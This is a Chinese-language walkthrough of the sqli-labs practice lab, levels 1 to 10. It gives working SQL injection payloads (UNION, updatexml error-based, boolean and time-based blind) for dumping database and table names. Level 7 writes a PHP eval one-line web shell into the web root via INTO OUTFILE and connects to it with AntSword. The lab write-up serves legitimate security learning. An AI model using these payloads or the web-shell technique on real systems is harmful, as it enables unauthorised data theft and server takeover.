目录
【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入
【Less-2】GET-Error based -intiger based/错误的GET数值型注入
【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入
【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入
【Less-5】GET-Double Injection - String Quotes - String/基于’字符型的错误回显注入
【Less-6】GET-Double Injection - Double Quotes/基于”字符型的错误回显注入
【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入
【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于’的盲注
【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于’的时间盲注
【Less-10】GET-Blind-Time Based - double quotes/GET的基于”的时间盲注
一、SQL注入的前提:
- 判断是否有注入
- 可控参数如id=1,能否影响页面的显示结果
- 输入SQL语句的时候,是否报错,能否通过报错,看到数据库的一些语句痕迹
- 尝试输入的语句能否不报错,使得成功闭合语句
- 判断是什么类型的注入
- 语句能否被修改
- 是否能够成功执行
- 获取我们想要的数据
基本知识:
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
判断有多少列
order by x
占位查看回显位置
select 1,2,3
查看数据库名
union select 1,2,database()
查看数据库的表(group_concat和limit)
【group_concat】
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'
【limit】
union select 1,2,table_name from information_schema.tables where table_schema ='security' limit 0,1
查看表的字段内容
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’emails’
【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入
当输入条件?id=1 and1=2为假的时候,未报错,单引号将输入的内容进行了闭合
输入1’将其闭合的时候发现报了一些信息,蓝色划出来的既输入的内容
利用这个漏洞查询,万能order by查字段
有3字段,查询回显位置
第2,3两字段能回显
查询数据库和字段内容
?id=1' and 0 union select 1,user(),database() %23
?id=1' and 0 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security' %23
【Less-2】GET-Error based -intiger based/错误的GET数值型注入
输入?id=1 and 1=1,语句执行正常,与原始页面如任何差异
输入?id=1 and 1=2,语句可以正常执行,但是无法查询出结果,返回数据与原始网页存在差异
判断为数值型漏洞,进行万能order by排序
查询回显的位置
【这里要讲一下为什么需要输入select 1,2,3。其实这里的1,2,3只是起了占位的作用,可以用任何数替代,目的是为了确定上一步order by 有3个字段成功后,将1,2,3代入这3字段,查看这3个字段有哪些字段回显】
查询数据库security的表
?id=1 and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security'
【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入
输入?id=1 and 1=2,没有报错,排除数值型
在id=1后面加引号,报错了,而且发现和第一题一样,只不过这里用括号将输入的内容进行闭合
在id=1’后加括号,闭合我们的语句,再用--+注释掉后面的括号【%23也行】
order by查询到共有3个字段
查询数据库和表内容
?id=1') and 1=2 union select 1,user(),database()%23
?id=1') and 1=2 union select 1,user(),table_name from information_schema.tables where table_schema='security' limit 0,1 %23
【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入
输入?id=1 and 1=2没有报错,可能是单引号将输入的内容过滤,判断为字符型
输入?id=1’ and 1=2依旧不行
查看一下源码【在PhpStudy\PHPTutorial\WWW\sqli-labs-master\Less-4目录下】
这里用双引号?id=1”) --+将输入语句闭合
用order by进行查询字段,这里4报错,字段数为3
查询数据库和表
?id=1") and 1=2 union select 1,user(),database() --+
?id=1") and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
【database()=security】
【Less-5】GET-Double Injection - String Quotes - String/基于’字符型的错误回显注入
不管输入什么,都只会显示you are in
尝试在id=1后面加引号,发现报错
用order by查字段【记得将’注释】,当查询到4的时候报错,说明只有3字段
这里不能查看回显位置了,依靠updatexml报错来获取信息
?id=1' and 1=2 union select updatexml(1,concat(0x7e,database(),0x7e),1)%23
根据updatexml的报错注入来获取信息
updatexml (string, xpath_string, string)
第一个参数string:可以输入1,为XML文档对象的名称
第二个参数xpath_string :提取多个子节点的文本
第三个参数string:可以输入1,替换查找的符合条件的参数
0x7e是一个代表~的十六进制,可以用’%’,或者’~’来代替
然后查询表
?id=1' and updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
【Less-6】GET-Double Injection - Double Quotes/基于”字符型的错误回显注入
和第五题一模一样,只不过第五题是单引号,这里是双引号,不多做演示了
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23
【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入
这一题,属实整理的不容易,看了很多的攻略,有的要么跳步骤,要么没说清楚,跟着走了不少弯路,这里会进行一个保姆级的步骤
首先,输入?id=1,题目会给我们一个提示use outfile,关于outfile后面再讲,先讲一下如何解出来的
输入为假的条件?id=1 and 1=2,并没有报错,可能是字符串型,将输入的内容闭合了
闭合我们输入的条件
发现报错,尝试万能order by
报错了,居然不行,查看一下源码
进入phpstudy,在phptutorial文件下的www
www下的sqli-labs-master
在里面找到less-7,打开index.php就可以查看源码了
可以看到,将输入的内容用))闭合,这就好办了
查出来是3字段,如果现在要在里面写入一句话的话,是一定会失败的,MySQL对于outfile初始是off,所有我们需要在my.ini内,写入一个on的权限
首先,进入自己的MySQL的文件夹
【如果是你不知道你的MySQL在哪,就打开第一题输入,如果知道具体位置,那输不输无所谓
?id=1' and 1=2 union select 1,@@datadir,@@basedir %23】
进入my.ini,加入一句话,如下
这句:secure_file_priv=
secure_file_priv=
加入完成之后,将我们的my.ini关闭,然后重启mysql!!!
以管理员身份运行
先打开,再关闭
再打开
当然,也可以直接重启MySQL也行,这里重启完成之后,我们就可以成功写入一句话了
?id=1')) union select 1,2,"<?php eval($_POST[ganyu]);?>" into outfile "E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php" %23
<?php eval($_POST[ganyu]);?>#一句话木马
关于【E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php】这个路径,其实就是上面你查看源码的那个路径,写进去就行啦!
然后我们用蚁剑连接,这里我的一句话密码是ganyu,连接的时候如果不是一样的一句话的话,可别跟着写了
后面的内容无非就是连接上了之后,查案数据库内容,这里就麻烦自己去探索了,做完这题之后,一定要记得将my.ini内加的那句话删除
原理:into outfile 语句会把表数据导出到一个文本文件中,如果在文件内写入一句话,即可用蚁剑一键连接。
【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于’的盲注
输入?id=1 and 1=2,没报错
尝试加入单引号或双引号,也没有报错
尝试将后面的内容用%23或--+注释
成功,布尔类型盲注,判断数据库长度
?id=1' and length(database())>5 %23
最后得知长度为8
最后得知数据库为:security查询表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) <127 %23
【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于’的时间盲注
输入一个为真的条件,并没有sleep基于线程(x)的时间
可能是’将输入的内容闭合
?id=1' and if(1=1,sleep(2),0) --+
查询一下数据库的长度
?id=1' and if(length(database())=8,sleep(2),0) --+
经过测试,长度为8,查表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<127,sleep(2),0) --+
【Less-10】GET-Blind-Time Based - double quotes/GET的基于”的时间盲注
基本步骤和第九题的一样,单引号闭合改成双引号闭合
?id=1" and if(1=1,sleep(2),0) %23
查询数据库长度
?id=1" and if(length(database())=8,sleep(2),0) %23
数据库长度为8,查询表名
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<127,sleep(2),0) %23
期待大佬指点